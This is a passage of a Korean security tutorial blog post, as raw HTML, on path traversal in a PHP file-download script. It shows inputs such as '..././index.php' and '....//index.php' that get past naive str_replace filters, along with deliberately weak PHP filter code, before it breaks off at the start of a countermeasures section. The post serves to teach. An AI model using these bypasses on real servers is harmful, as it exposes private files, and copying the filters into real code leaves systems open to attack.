this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1574&quot; height=&quot;468&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;기본적인 test_file.txt 는 정상적으로 다운로드 된다. ( test 문자열 확인 )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 문자열을 추가하여 다운로드 요청을 보낸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1584&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cozEKA/btsMcBfLkkx/ylaSvi88ZgNjDMuXbewBN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cozEKA/btsMcBfLkkx/ylaSvi88ZgNjDMuXbewBN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cozEKA/btsMcBfLkkx/ylaSvi88ZgNjDMuXbewBN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcozEKA%2FbtsMcBfLkkx%2FylaSvi88ZgNjDMuXbewBN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1584&quot; height=&quot;466&quot; data-origin-width=&quot;1584&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 문자열은 제거가 되고 test_file.txt 파일이 다운로드 되는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래는 다운로드가 되면 안되지만, ../ 문자열을 제거하니까 test_file.txt 원본 파일이름과 동일하게 되어 다운로드 되는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 파일 중간에 ../ 를 입력하여 파일 다운로드 요청을 전송한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1533&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/V7tST/btsMelvXXph/o3d3o7yuEyywej1vDDUrx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/V7tST/btsMelvXXph/o3d3o7yuEyywej1vDDUrx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/V7tST/btsMelvXXph/o3d3o7yuEyywej1vDDUrx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FV7tST%2FbtsMelvXXph%2Fo3d3o7yuEyywej1vDDUrx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1533&quot; height=&quot;498&quot; data-origin-width=&quot;1533&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 문자열이 제거되어 test_file.txt 파일이 다운로드 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;..\ 문자열을 파일 중간에 입력하여 파일 다운로드 요청을 전송한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1516&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CPIRo/btsMd93BThy/99BN1camwG7CtnkrNjZ0AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CPIRo/btsMd93BThy/99BN1camwG7CtnkrNjZ0AK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CPIRo/btsMd93BThy/99BN1camwG7CtnkrNjZ0AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCPIRo%2FbtsMd93BThy%2F99BN1camwG7CtnkrNjZ0AK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1516&quot; height=&quot;466&quot; data-origin-width=&quot;1516&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;..\ 역시 제거 되어 test_file.txt 파일이 다운로드 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 ../ 와 ..\ 문자열 모두 제거되는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 어떻게 우회하여 상위 디렉터리로 접근해서 index.php 파일을 다운로드 할 수 있을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;../ 문자열은 제거가 되니까, ../ 이 제거되도 ../ 이 남도록 입력해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;..././index.php 를 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; .&lt;b&gt;../&lt;/b&gt;./ 에서 &lt;b&gt;../&lt;/b&gt; 이 제거되도, &lt;b&gt;.&amp;nbsp; ./&lt;/b&gt; 문자열이 합쳐져서 &lt;b&gt;../&lt;/b&gt; 이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;858&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IvrJ8/btsMd8p5PBG/TKHj0GIfeXHV5prEnlhSKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IvrJ8/btsMd8p5PBG/TKHj0GIfeXHV5prEnlhSKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IvrJ8/btsMd8p5PBG/TKHj0GIfeXHV5prEnlhSKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIvrJ8%2FbtsMd8p5PBG%2FTKHj0GIfeXHV5prEnlhSKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1785&quot; height=&quot;858&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;858&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는 ....// 를 입력해도 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;....//index.php 를 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ..&lt;b&gt;../&lt;/b&gt;/&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;nbsp;에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;../&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 제거되도,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;..&amp;nbsp; &amp;nbsp;/&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;문자열이 합쳐져서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;../&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1782&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFICU4/btsMed5RxEg/f0KCtfVGvjqr79ePC39SZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFICU4/btsMed5RxEg/f0KCtfVGvjqr79ePC39SZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFICU4/btsMed5RxEg/f0KCtfVGvjqr79ePC39SZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFICU4%2FbtsMed5RxEg%2Ff0KCtfVGvjqr79ePC39SZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1782&quot; height=&quot;853&quot; data-origin-width=&quot;1782&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 동일하게 ..\ 문자열도 적용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...\.\index.php 를 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; .&lt;b&gt;..\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;.\ 에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;..\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 제거되도,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;.&amp;nbsp; .\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;문자열이 합쳐져서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;..\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1782&quot; data-origin-height=&quot;861&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dx4uU3/btsMcrYNqWT/RgffpneECEOSOSo6QcbGTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dx4uU3/btsMcrYNqWT/RgffpneECEOSOSo6QcbGTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dx4uU3/btsMcrYNqWT/RgffpneECEOSOSo6QcbGTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdx4uU3%2FbtsMcrYNqWT%2FRgffpneECEOSOSo6QcbGTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1782&quot; height=&quot;861&quot; data-origin-width=&quot;1782&quot; data-origin-height=&quot;861&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;....\\index.php 를 입력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ..&lt;b&gt;..\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;\ 에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;..\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 제거되도,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;..&amp;nbsp; &amp;nbsp;\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;문자열이 합쳐져서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;..\&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1780&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCUnvo/btsMd8XXPWn/tCVMnrpBUxIAuE0rAT7qH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCUnvo/btsMd8XXPWn/tCVMnrpBUxIAuE0rAT7qH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCUnvo/btsMd8XXPWn/tCVMnrpBUxIAuE0rAT7qH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCUnvo%2FbtsMd8XXPWn%2FtCVMnrpBUxIAuE0rAT7qH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1780&quot; height=&quot;854&quot; data-origin-width=&quot;1780&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 download.php 에 ./ 와 .\ 를 제거하는 코드를 추가해본다.&lt;/p&gt;
&lt;pre id=&quot;code_1739173630656&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    include_once(&quot;./common.php&quot;);
    header(&quot;Content-Type: text/html; charset=UTF-8&quot;);

    $file = $_GET[&quot;file&quot;];
    
    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('값이 입력되지 않았습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $file = str_replace(&quot;./&quot;, &quot;&quot;, $file);
    $file = str_replace(&quot;.\\&quot;, &quot;&quot;, $file);
    $file = str_replace(&quot;../&quot;, &quot;&quot;, $file);
    $file = str_replace(&quot;..\\&quot;, &quot;&quot;, $file);

    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('파일 다운로드에 실패하였습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $filepath = &quot;{$upload_path}/{$file}&quot;;

    header(&quot;Content-Type: application/octet-stream&quot;);
    header(&quot;Content-Disposition: attachment; filename={$file}&quot;);

    @readfile($filepath);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 다시 기존 방법으로 다운로드를 시도하면 파일 다운로드가 되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;./ 와 ../ 모두 제거가 되기 때문에&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1783&quot; data-origin-height=&quot;533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ggvv9/btsMemPdfaJ/5M7Ggs2Q7whjsKe5KiYrjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ggvv9/btsMemPdfaJ/5M7Ggs2Q7whjsKe5KiYrjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ggvv9/btsMemPdfaJ/5M7Ggs2Q7whjsKe5KiYrjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGgvv9%2FbtsMemPdfaJ%2F5M7Ggs2Q7whjsKe5KiYrjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1783&quot; height=&quot;533&quot; data-origin-width=&quot;1783&quot; data-origin-height=&quot;533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.....///index.php 를 입력하면 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; ..&lt;b&gt;...//&lt;/b&gt;/ 에서 ./ 가 제거되어 ..&lt;b&gt;../&lt;/b&gt;/ 가 되고, ../ 가 제거 되어 마지막에 ../ 가 된다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1821&quot; data-origin-height=&quot;855&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3jOr3/btsMcpmi5G9/giPTSWOhFhhM69fa5tDI80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3jOr3/btsMcpmi5G9/giPTSWOhFhhM69fa5tDI80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3jOr3/btsMcpmi5G9/giPTSWOhFhhM69fa5tDI80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3jOr3%2FbtsMcpmi5G9%2FgiPTSWOhFhhM69fa5tDI80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1821&quot; height=&quot;855&quot; data-origin-width=&quot;1821&quot; data-origin-height=&quot;855&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/ 를 제거하는 코드를 추가한다.&lt;/p&gt;
&lt;pre id=&quot;code_1739174609768&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    include_once(&quot;./common.php&quot;);
    header(&quot;Content-Type: text/html; charset=UTF-8&quot;);

    $file = $_GET[&quot;file&quot;];
    
    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('값이 입력되지 않았습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $file = str_replace(&quot;/&quot;, &quot;&quot;, $file);

    if(empty($file)) {
        echo &quot;&amp;lt;script&amp;gt;alert('파일 다운로드에 실패하였습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
        exit();
    }

    $filepath = &quot;{$upload_path}/{$file}&quot;;

    header(&quot;Content-Type: application/octet-stream&quot;);
    header(&quot;Content-Disposition: attachment; filename={$file}&quot;);

    @readfile($filepath);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/ 를 제거하는 경우, 리눅스에서는 ../ 상위 문자열 이동이 어렵지만, 윈도우에서는 \ 역슬래시가 있어 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;..\index.php 를 입력하여 우회가 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1821&quot; data-origin-height=&quot;855&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xCFtG/btsMcek2LlW/e3DEYKu1PZQgMXeKP4n8r0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xCFtG/btsMcek2LlW/e3DEYKu1PZQgMXeKP4n8r0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xCFtG/btsMcek2LlW/e3DEYKu1PZQgMXeKP4n8r0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxCFtG%2FbtsMcek2LlW%2Fe3DEYKu1PZQgMXeKP4n8r0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1821&quot; height=&quot;855&quot; data-origin-width=&quot;1821&quot; data-origin-height=&quot;855&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4) 대응 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1444&quot; data-origin-height=&quot;629&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cf9Ixn/btsMd4uEgnD/3cOZ8kv9HSinbuX4GaSq90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cf9Ixn/btsMd4uEgnD/3cOZ8kv9HSinbuX4GaSq90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cf9Ixn/btsMd4uEgnD/3cOZ8kv9HSinbuX4GaSq90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcf9Ixn%2FbtsMd4uEgnD%2F3cOZ8kv9HSinbuX4GaSq90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1444&quot; height=&quot;629&quot; data-origin-width=&quot;1444&quot; data-origin-height=&quot;629&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 경로 + 파일명 &amp;rarr; 사용자 입력 값을 토대로 어플리케이션에서 직접 파일시스템에 접근&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일부 경로 + 파일명 &amp;rarr; 일반적인 경우(자주 사용하는 방법), 어플리케이션에서 직접 파일시스템에 접근&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일명 &amp;rarr; 소규모 웹 사이트에 적합, 어플리케이션에서 직접 파일시스템에 접근&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키(Key) 값 &amp;rarr; 간접적인 다운로드 방법, 사용자 입력값 받은 후 DB에 질의하여 idx=192 에 대한 파일명 반환받음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전체 경로 + 파일명&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bqMZ7T/btsMdpTwfP0/JLeGK2Z3PZTsfTZBnDsaN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bqMZ7T/btsMdpTwfP0/JLeGK2Z3PZTsfTZBnDsaN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bqMZ7T/btsMdpTwfP0/JLeGK2Z3PZTsfTZBnDsaN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbqMZ7T%2FbtsMdpTwfP0%2FJLeGK2Z3PZTsfTZBnDsaN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 